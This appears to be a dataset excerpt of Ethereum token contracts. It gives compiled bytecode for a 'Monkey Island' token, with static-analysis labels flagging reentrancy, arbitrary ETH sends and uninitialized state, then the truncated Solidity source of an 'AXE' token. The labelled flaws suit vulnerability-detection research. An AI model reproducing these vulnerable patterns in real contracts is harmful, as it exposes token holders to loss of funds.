08110156103cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ae2565b6040518082815260200191505060405180910390f35b34801561041a57600080fd5b50610423610bcd565b005b34801561043157600080fd5b5061043a610d53565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561047257600080fd5b5061047b610d7c565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104bb5780820151818401526020810190506104a0565b50505050905090810190601f1680156104e85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561050257600080fd5b5061054f6004803603604081101561051957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610db9565b60405180821515815260200191505060405180910390f35b34801561057357600080fd5b5061062a6004803603602081101561058a57600080fd5b81019080803590602001906401000000008111156105a757600080fd5b8201836020820111156105b957600080fd5b803590602001918460208302840111640100000000831117156105db57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610dd7565b005b34801561063857600080fd5b50610641610f27565b005b34801561064f57600080fd5b50610658610fa1565b005b34801561066657600080fd5b506106936004803603602081101561067d57600080fd5b810190808035906020019092919050505061161e565b005b3480156106a157600080fd5b50610704600480360360408110156106b857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506117cd565b6040518082815260200191505060405180910390f35b60606040518060400160405280601081526020017f4d6f6e6b65792049736c616e64efb88f00000000000000000000000000000000815250905090565b600061076b610764611854565b848461185c565b6001905092915050565b6000683635c9adc5dea00000905090565b6000610793848484611a53565b6108548461079f611854565b61084f85604051806060016040528060288152602001613c7d60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610805611854565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461227e9092919063ffffffff16565b61185c565b600190509392505050565b610867611854565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610927576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610993611854565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a53576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80601260176101000a81548160ff02191690831515021790555050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ab1611854565b73ffffffffffffffffffffffffffffffffffffffff1614610ad157600080fd5b6000479050610adf8161233e565b50565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610b7d57600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610bc8565b610bc5600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123aa565b90505b919050565b610bd5611854565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c95576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f4d49534c00000000000000000000000000000000000000000000000000000000815250905090565b6000610dcd610dc6611854565b8484611a53565b6001905092915050565b610ddf611854565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e9f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60005b8151811015610f2357600160076000848481518110610ebd57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050610ea2565b5050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f68611854565b73ffffffffffffffffffffffffffffffffffffffff1614610f8857600080fd5b6000610f9330610ae2565b9050610f9e8161242e565b50565b610fa9611854565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611069576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b601260149054906101000a900460ff16156110ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f74726164696e6720697320616c7265616479206f70656e00000000000000000081525060200191505060405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061117c30601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061185c565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156111c257600080fd5b505afa1580156111d6573d6000803e3d6000fd5b505050506040513d60208110156111ec57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561125f57600080fd5b505afa158015611273573d6000803e3d6000fd5b505050506040513d602081101561128957600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b15801561130357600080fd5b505af1158015611317573d6000803e3d6000fd5b505050506040513d602081101561132d57600080fd5b8101908080519060200190929190505050601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306113c730610ae2565b6000806113d2610d53565b426040518863ffffffff1660e01b8152600401808773ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200196505050505050506060604051808303818588803b15801561145757600080fd5b505af115801561146b573d6000803e3d6000fd5b50505050506040513d606081101561148257600080fd5b810190808051906020019092919080519060200190929190805190602001909291905050505050506001601260166101000a81548160ff0219169083151502179055506001601260176101000a81548160ff021916908315150217905550678ac7230489e800006013819055506001601260146101000a81548160ff021916908315150217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156115df57600080fd5b505af11580156115f3573d6000803e3d6000fd5b505050506040513d602081101561160957600080fd5b81019080805190602001909291905050505050565b611626611854565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000811161175c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f416d6f756e74206d7573742062652067726561746572207468616e203000000081525060200191505060405180910390fd5b61178b606461177d83683635c9adc5dea0000061271890919063ffffffff16565b61279e90919063ffffffff16565b6013819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6013546040518082815260200191505060405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118e2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180613cf36024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611968576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180613c3a6022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611ad9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180613cce6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b5f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180613bed6023913960400191505060405180910390fd5b60008111611bb8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526029815260200180613ca56029913960400191505060405180910390fd5b611bc0610d53565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611c2e5750611bfe610d53565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156121bb57601260179054906101000a900460ff1615611e94573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611cb057503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611d0a5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611d645750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611e9357601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611daa611854565b73ffffffffffffffffffffffffffffffffffffffff161480611e205750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611e08611854565b73ffffffffffffffffffffffffffffffffffffffff16145b611e92576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f4552523a20556e6973776170206f6e6c7900000000000000000000000000000081525060200191505060405180910390fd5b5b5b601354811115611ea357600080fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611f475750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611f5057600080fd5b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611ffb5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156120515750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156120695750601260179054906101000a900460ff165b156121015742600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106120b957600080fd5b601e4201600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600061210c30610ae2565b9050601260159054906101000a900460ff161580156121795750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156121915750601260169054906101000a900460ff165b156121b95761219f8161242e565b600047905060008111156121b7576121b64761233e565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806122625750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561226c57600090505b612278848484846127e8565b50505050565b600083831115829061232b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156122f05780820151818401526020810190506122d5565b50505050905090810190601f16801561231d5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156123a6573d6000803e3d6000fd5b5050565b6000600a54821115612407576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180613c10602a913960400191505060405180910390fd5b6000612411612a3f565b9050612426818461279e90919063ffffffff16565b915050919050565b6001601260156101000a81548160ff0219169083151502179055506060600267ffffffffffffffff8111801561246357600080fd5b506040519080825280602002602001820160405280156124925781602001602082028036833780820191505090505b50905030816000815181106124a357fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561254557600080fd5b505afa158015612559573d6000803e3d6000fd5b505050506040513d602081101561256f57600080fd5b81019080805190602001909291905050508160018151811061258d57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506125f430601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461185c565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b838110156126b857808201518184015260208101905061269d565b505050509050019650505050505050600060405180830381600087803b1580156126e157600080fd5b505af11580156126f5573d6000803e3d6000fd5b50505050506000601260156101000a81548160ff02191690831515021790555050565b60008083141561272b5760009050612798565b600082840290508284828161273c57fe5b0414612793576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180613c5c6021913960400191505060405180910390fd5b809150505b92915050565b60006127e083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612a6a565b905092915050565b806127f6576127f5612b30565b5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156128995750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156128ae576128a9848484612b73565b612a2b565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156129515750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561296657612961848484612dd3565b612a2a565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612a085750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612a1d57612a18848484613033565b612a29565b612a28848484613328565b5b5b5b80612a3957612a386134f3565b5b50505050565b6000806000612a4c613507565b91509150612a63818361279e90919063ffffffff16565b9250505090565b60008083118290612b16576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612adb578082015181840152602081019050612ac0565b50505050905090810190601f168015612b085780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581612b2257fe5b049050809150509392505050565b6000600c54148015612b4457506000600d54145b15612b4e57612b71565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b600080600080600080612b85876137b4565b955095509550955095509550612be387600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461381c90919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612c7886600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461381c90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612d0d85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461386690919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612d59816138ee565b612d638483613a93565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600080600080600080612de5876137b4565b955095509550955095509550612e4386600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461381c90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612ed883600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461386690919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612f6d85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461386690919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612fb9816138ee565b612fc38483613a93565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600080600080600080613045876137b4565b9550955095509550955095506130a387600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461381c90919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061313886600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461381c90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506131cd83600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461386690919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061326285600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461386690919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506132ae816138ee565b6132b88483613a93565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b60008060008060008061333a876137b4565b95509550955095509550955061339886600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461381c90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061342d85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461386690919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613479816138ee565b6134838483613a93565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b6000806000600a5490506000683635c9adc5dea00000905060005b6009805490508110156137695782600260006009848154811061354157fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118061362857508160036000600984815481106135c057fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b1561364657600a54683635c9adc5dea00000945094505050506137b0565b6136cf600260006009848154811061365a57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548461381c90919063ffffffff16565b925061375a60036000600984815481106136e557fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361381c90919063ffffffff16565b91508080600101915050613522565b50613788683635c9adc5dea00000600a5461279e90919063ffffffff16565b8210156137a757600a54683635c9adc5dea000009350935050506137b0565b81819350935050505b9091565b60008060008060008060008060006137d18a600c54600d54613acd565b92509250925060006137e1612a3f565b905060008060006137f48e878787613b63565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061385e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061227e565b905092915050565b6000808284019050838110156138e4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b60006138f8612a3f565b9050600061390f828461271890919063ffffffff16565b905061396381600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461386690919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613a8e57613a4a83600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461386690919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b613aa882600a5461381c90919063ffffffff16565b600a81905550613ac381600b5461386690919063ffffffff16565b600b819055505050565b600080600080613af96064613aeb888a61271890919063ffffffff16565b61279e90919063ffffffff16565b90506000613b236064613b15888b61271890919063ffffffff16565b61279e90919063ffffffff16565b90506000613b4c82613b3e858c61381c90919063ffffffff16565b61381c90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080613b7c858961271890919063ffffffff16565b90506000613b93868961271890919063ffffffff16565b90506000613baa878961271890919063ffffffff16565b90506000613bd382613bc5858761381c90919063ffffffff16565b61381c90919063ffffffff16565b905083818496509650965050505050945094509491505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212207f1580849182b8fd1a8eb940b9b81caa6843816bef0c67f69b422db0f44aba1564736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
4,855
0x310a0760630ea90c1c30fc250a9c72eff6d6e999
/** *Submitted for verification at Etherscan.io on 2022-04-21 */ // SPDX-License-Identifier: Unlicensed /* “One of the trick weapons of the workshop, commonly used on the hunt. Retains the qualities of an axe, but offers wider palette of attacks by transforming. Boasts a heavy blunt attack, leading to high rally potential. No matter their pasts, beasts are no more than beasts. Some choose this axe to play the part of executioner.” Website: https://huntersweapon.finance Telegram: https://t.me/axehuntersdream Twitter: https://twitter.com/axehunterweapon */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract AXE is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "A Hunters Weapon"; string private constant _symbol = "AXE"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping (address => uint256) private _buyMap; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => 